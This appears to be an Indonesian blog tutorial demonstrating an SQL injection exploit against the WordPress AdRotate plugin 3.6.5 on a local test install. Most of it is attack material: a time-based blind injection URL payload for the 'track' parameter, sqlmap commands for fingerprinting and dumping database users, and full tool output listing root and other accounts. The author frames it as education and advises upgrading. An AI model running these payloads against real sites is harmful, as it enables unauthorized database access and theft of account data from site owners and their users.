Exploit WordPress Plugin Adrotate – EDB-ID: 17888 – SQL Injection
Catatan :
Perlahan, blog tanyarezaervani juga akan memuat beberapa Pembuktian Konsep Eksploit dari database Vulnerabiliti yang ada. Tujuannya adalah untuk pembelajaran juga pengetahuan bagi para pengguna awam di internet serta penguat anjuran untuk melakukan upgrade jika ternyata perangkat lunak Open Source yang anda gunakan masih memiliki kerentanan yang ditunjukkan.
Daftar kerentanan sedang coba dikoleksi di : http://tanyarezaervani.wordpress.com/vulnerability-database/
Penyalahgunaan tutorial berada diluar tanggung jawab pengelola blog.
Setiap tutorial selalu disertai dengan saran untuk mengupgrade versi perangkat lunak yang ada.
Keterangan EDB-ID
Prosedur dan Lingkungan Kerja
Perangkat ujicoba adalah wordpress 3.2.1 dengan plugin AdRotate yang diinstall di localhost
MySQL Version : Ver 14.14 Distrib 5.1.41, for debian-linux-gnu (i486) using readline 6.1
Tampak seperti pada gambar berikut ini :
Plugin AdRotate yang digunakan adalah versi 3.6.5
Satu hal lagi yang memungkinkan SQL Injection dilakukan adalah dimatikannya maqic_quotes
Cek Vulnerabilitas dengan Teknik Time Delay
Selanjutnya kita akan cek vulnerabilitas plugin ini dengan memanfaatkan perangkat SQLMap. Metode yang kita gunakan adalah Time Delay seperti yang dijelaskan di : http://tanyarezaervani.wordpress.com/buku/buku-sql-injection-attacks-and-defense/buku-sql-injection-attacks-and-defense-3-4-menguji-sql-injection-time-delay/
Ketikkan di URL :
http://localhost/wordpress/wp-content/plugins/adrotate/adrotate-out.php?track=1′ AND 1= IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)%23
Cek Vulnerabilitas dengan Bantuan SQLMap
Atau kita dapat juga melakukan cek vulnerabilitas dengan langsung menggunakan perangkat seperti SQLMap :
$ python sqlmap.py -u “http://localhost/wordpress/wp-content/plugins/adrotate/adrotate-out.php?track=1” –dbms=mysql –level=3 –risk=3 –technique=T –banner
Kita akan dapatkan keluaran seperti berikut :
sqlmap/0.9 – automatic SQL injection and database takeover tool
http://sqlmap.sourceforge.net[*] starting at: 21:50:41
[21:50:42] [INFO] using ‘/home/rezaervani/Documents/PENTEST TOOLS/sqlmap/output/localhost/session’ as session file
[21:50:42] [INFO] resuming injection data from session file
[21:50:42] [INFO] resuming back-end DBMS ‘mysql 5’ from session file
[21:50:42] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
—
Place: GET
Parameter: track
Type: AND/OR time-based blind
Title: MySQL < 5.0.12 AND time-based blind (heavy query)
Payload: track=1′ AND 9786=BENCHMARK(5000000,MD5(CHAR(77,85,109,111))) AND ‘zHCI’=’zHCI
—[21:50:43] [INFO] the back-end DBMS is MySQL
[21:50:43] [INFO] fetching banner
[21:50:43] [INFO] read from file ‘/home/rezaervani/Documents/PENTEST TOOLS/sqlmap/output/localhost/session’: 5.1.41-3ubuntu12.10-log
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL 5
banner: ‘5.1.41-3ubuntu12.10-log’[21:50:43] [INFO] Fetched data logged to text files under ‘/home/rezaervani/Documents/PENTEST TOOLS/sqlmap/output/localhost’
[*] shutting down at: 21:50:43
Atau ditunjukkan lewat video berikut ini :
[youtube http://www.youtube.com/watch?v=-xjtKMqOSBM]
Tampak disana banner menunjukkan bahwa SQL Injection berhasil dilakukan dengan teknik Time Delay :
Place: GET
Parameter: track
Type: AND/OR time-based blind
Title: MySQL < 5.0.12 AND time-based blind (heavy query)
Payload: track=1′ AND 9786=BENCHMARK(5000000,MD5(CHAR(77,85,109,111))) AND ‘zHCI’=’zHCI
menghasilkan exploit Versi MySQL yakni 5.1.41-3ubuntu12.10-log
Exploitasi Kerentanan dengan SQLMap
Setelah memastikan bahwa plugin tersebut vulner, maka kita dapat dengan mudah menggunakan sqlmap untuk mendapatkan username dan password :
Contoh berikut adalah cara bagaimana kita memperoleh username dari kerentanan yang ada :
$ python sqlmap.py -u “http://localhost/wordpress/wp-content/plugins/adrotate/adrotate-out.php?track=1” –dbms=mysql –level=3 –risk=3 –technique=T –username
Kita akan dapatkan keluaran seperti :
sqlmap/0.9 – automatic SQL injection and database takeover tool
http://sqlmap.sourceforge.net[*] starting at: 21:54:39
[21:54:39] [INFO] using ‘/home/rezaervani/Documents/PENTEST TOOLS/sqlmap/output/localhost/session’ as session file
[21:54:39] [INFO] resuming injection data from session file
[21:54:39] [INFO] resuming back-end DBMS ‘mysql 5’ from session file
[21:54:39] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
—
Place: GET
Parameter: track
Type: AND/OR time-based blind
Title: MySQL < 5.0.12 AND time-based blind (heavy query)
Payload: track=1′ AND 9786=BENCHMARK(5000000,MD5(CHAR(77,85,109,111))) AND ‘zHCI’=’zHCI
—[21:54:39] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS: MySQL 5
[21:54:39] [INFO] fetching database users
[21:54:39] [INFO] fetching number of database users
[21:54:39] [INFO] read from file ‘/home/rezaervani/Documents/PENTEST TOOLS/sqlmap/output/localhost/session’: 5
[21:54:39] [INFO] read from file ‘/home/rezaervani/Documents/PENTEST TOOLS/sqlmap/output/localhost/session’: ‘root’@’localhost’
[21:54:39] [INFO] read from file ‘/home/rezaervani/Documents/PENTEST TOOLS/sqlmap/output/localhost/session’: ‘root’@’rezaervani-laptop’
[21:54:39] [INFO] read from file ‘/home/rezaervani/Documents/PENTEST TOOLS/sqlmap/output/localhost/session’: ‘root’@’127.0.0.1’
[21:54:39] [INFO] read from file ‘/home/rezaervani/Documents/PENTEST TOOLS/sqlmap/output/localhost/session’: ‘debian-sys-maint’@’localhost’
[21:54:39] [INFO] read from file ‘/home/rezaervani/Documents/PENTEST TOOLS/sqlmap/output/localhost/session’: ‘phpmyadmin’@’localhost’
database management system users [5]:
[*] ‘debian-sys-maint’@’localhost’
[*] ‘phpmyadmin’@’localhost’
[*] ‘root’@’127.0.0.1’
[*] ‘root’@’localhost’
[*] ‘root’@’rezaervani-laptop’[21:54:39] [INFO] Fetched data logged to text files under ‘/home/rezaervani/Documents/PENTEST TOOLS/sqlmap/output/localhost’
[*] shutting down at: 21:54:39
Atau ditunjukkan oleh video berikut ini
[youtube http://www.youtube.com/watch?v=bWy0QpuYMkc]
Tampak bahwa username yang berhasil kita exploit dari database adalah :
root@localhost, debian-sys-main@localhost, root@127.0.0.1
Jadi tampak jelas bahwa plugin ini berbahaya untuk sistem anda. Upgrade ke versi terbaru atau non aktifkan dari wordpress anda.
Demikian, semoga manfaat (rezaervani@gmail.com)
Makasih banget atas tips2-nya,,,,,,,,,udah nyari kemana-mana sampe pusing, ehh,,,,,,ketemunya di sini ternyata,,,,,,,,,,,,Thanks very much